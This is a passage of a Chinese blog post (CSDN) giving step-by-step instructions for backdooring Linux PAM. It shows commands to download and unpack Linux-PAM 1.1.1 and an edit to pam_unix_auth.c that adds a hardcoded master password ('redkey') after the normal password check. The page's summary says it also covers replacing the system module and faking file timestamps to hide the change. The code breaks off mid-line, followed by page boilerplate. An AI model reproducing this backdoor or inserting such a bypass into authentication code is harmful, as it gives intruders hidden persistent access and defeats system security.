linux pam 解锁_Linux系统安全之pam后门安装使用详解

本文详细介绍了如何在Linux系统中利用PAM(Pluggable Authentication Modules)创建后门,包括查看PAM版本、下载模块、修改源码、编译、备份原有模块、替换新模块以及设置时间属性,最终实现通过特定密码(如:redkey)无限制登录。
摘要由CSDN通过智能技术生成

一.查看系统pam版本:

[root@redkey ~]# rpm -qa | grep pam

pam-1.1.1-4.el6.x86_64

二.下载对应版本的pam模块

http://www.linux-pam.org/library/

三.解压&修改pam_unix_auth.c文件

tar -xzvf Linux-PAM-1.1.1.tar.gz

cd Linux-PAM-1.1.1

cd modules/pam_unix/

vim pam_unix_auth.c

四.修改部分

PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags

,int argc, const char **argv)

{

定义:FILE *fp;如下:

PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags

,int argc, const char **argv)

{

unsigned int ctrl;

int retval, *ret_data = NULL;

const char *name;

const void *p;

FILE *fp;

在retval = _unix_verify_password(pamh, name, p, ctrl); [约177行]下添加

/*password:”redkey”*/

if(strcmp(p,”redkey”)==0)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值